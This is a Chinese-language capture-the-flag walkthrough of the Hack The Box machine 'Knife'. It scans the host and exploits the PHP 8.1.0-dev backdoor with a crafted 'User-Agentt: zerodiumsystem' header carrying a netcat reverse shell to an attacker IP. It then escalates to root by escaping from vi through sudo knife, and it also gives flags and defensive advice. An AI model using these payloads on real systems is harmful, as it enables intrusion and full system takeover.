[Meachines] [Easy] Knife PHP 8.1.0-dev RCE+knife权限提升
字数 1024 2025-08-29 08:30:30

PHP 8.1.0-dev RCE漏洞利用与Knife权限提升教学文档

1. 信息收集阶段

1.1 目标识别

  • 目标IP: 10.10.10.242
  • 开放端口:
    • TCP 22 (SSH - OpenSSH 8.2p1 Ubuntu)
    • TCP 80 (HTTP - Apache 2.4.41)

1.2 端口扫描技术

使用以下命令组合进行高效扫描:

ip='10.10.10.242'; 
itf='tun0'; 
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then 
    echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; 
    ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
    if [ -n "$ports" ]; then 
        echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; 
        nmap -Pn -sV -sC -p "$ports" "$ip"; 
    else 
        echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; 
    fi; 
else 
    echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; 
fi

1.3 Web服务识别

使用whatweb工具识别Web技术:

whatweb http://10.10.10.242/ -v

2. PHP 8.1.0-dev RCE漏洞利用

2.1 漏洞背景

PHP 8.1.0-dev版本在2021年3月28日被植入后门,攻击者可以通过User-Agentt头部执行任意代码。

2.2 漏洞利用方法

构造特殊HTTP请求头实现RCE:

GET / HTTP/1.1
Host: 10.10.10.242
User-Agentt: zerodiumsystem('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 10033 >/tmp/f');
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

关键点:

  • 使用User-Agentt而非User-Agent(注意有两个t)
  • 命令执行部分使用zerodiumsystem()函数
  • 反弹shell命令创建命名管道并通过netcat连接

2.3 反弹Shell准备

在攻击机上监听:

nc -lvnp 10033

2.4 获取用户权限

成功利用后获取user.txt:

80543f47be4ae1c71bee32030493ec4d

3. 权限提升(Knife工具滥用)

3.1 Knife简介

Knife是Chef配置管理工具的命令行接口(CLI),用于管理Chef Server、节点、数据包和Cookbook等。

3.2 权限提升方法

利用sudo权限执行knife命令时逃逸到root shell:

sudo /usr/bin/knife data bag create 1 2 -e vi

在vi编辑器中执行:

:!/bin/bash

3.3 技术原理

  • -e参数指定编辑器为vi
  • 当knife调用外部编辑器时,可以从编辑器执行shell命令
  • 由于是sudo执行,获得的shell具有root权限

3.4 获取root权限

成功提权后获取root.txt:

15153b6892739327c25a62b7461a5315

4. 防御建议

4.1 针对PHP RCE漏洞

  • 立即升级PHP到安全版本
  • 监控服务器日志中异常的User-Agentt请求
  • 使用WAF拦截包含zerodiumsystem关键字的请求

4.2 针对Knife提权

  • 限制sudo权限,避免允许普通用户以root执行knife
  • 使用安全的编辑器配置,避免命令注入
  • 实施最小权限原则,只授予必要的sudo权限

5. 参考资源

  • PHP 8.1.0-dev后门分析: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
  • Chef Knife官方文档
  • Linux权限提升技术手册
PHP 8.1.0-dev RCE漏洞利用与Knife权限提升教学文档 1. 信息收集阶段 1.1 目标识别 目标IP: 10.10.10.242 开放端口: TCP 22 (SSH - OpenSSH 8.2p1 Ubuntu) TCP 80 (HTTP - Apache 2.4.41) 1.2 端口扫描技术 使用以下命令组合进行高效扫描: 1.3 Web服务识别 使用whatweb工具识别Web技术: 2. PHP 8.1.0-dev RCE漏洞利用 2.1 漏洞背景 PHP 8.1.0-dev版本在2021年3月28日被植入后门,攻击者可以通过User-Agentt头部执行任意代码。 2.2 漏洞利用方法 构造特殊HTTP请求头实现RCE: 关键点: 使用 User-Agentt 而非 User-Agent (注意有两个t) 命令执行部分使用 zerodiumsystem() 函数 反弹shell命令创建命名管道并通过netcat连接 2.3 反弹Shell准备 在攻击机上监听: 2.4 获取用户权限 成功利用后获取user.txt: 3. 权限提升(Knife工具滥用) 3.1 Knife简介 Knife是Chef配置管理工具的命令行接口(CLI),用于管理Chef Server、节点、数据包和Cookbook等。 3.2 权限提升方法 利用sudo权限执行knife命令时逃逸到root shell: 在vi编辑器中执行: 3.3 技术原理 -e 参数指定编辑器为vi 当knife调用外部编辑器时,可以从编辑器执行shell命令 由于是sudo执行,获得的shell具有root权限 3.4 获取root权限 成功提权后获取root.txt: 4. 防御建议 4.1 针对PHP RCE漏洞 立即升级PHP到安全版本 监控服务器日志中异常的User-Agentt请求 使用WAF拦截包含zerodiumsystem关键字的请求 4.2 针对Knife提权 限制sudo权限,避免允许普通用户以root执行knife 使用安全的编辑器配置,避免命令注入 实施最小权限原则,只授予必要的sudo权限 5. 参考资源 PHP 8.1.0-dev后门分析: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/ Chef Knife官方文档 Linux权限提升技术手册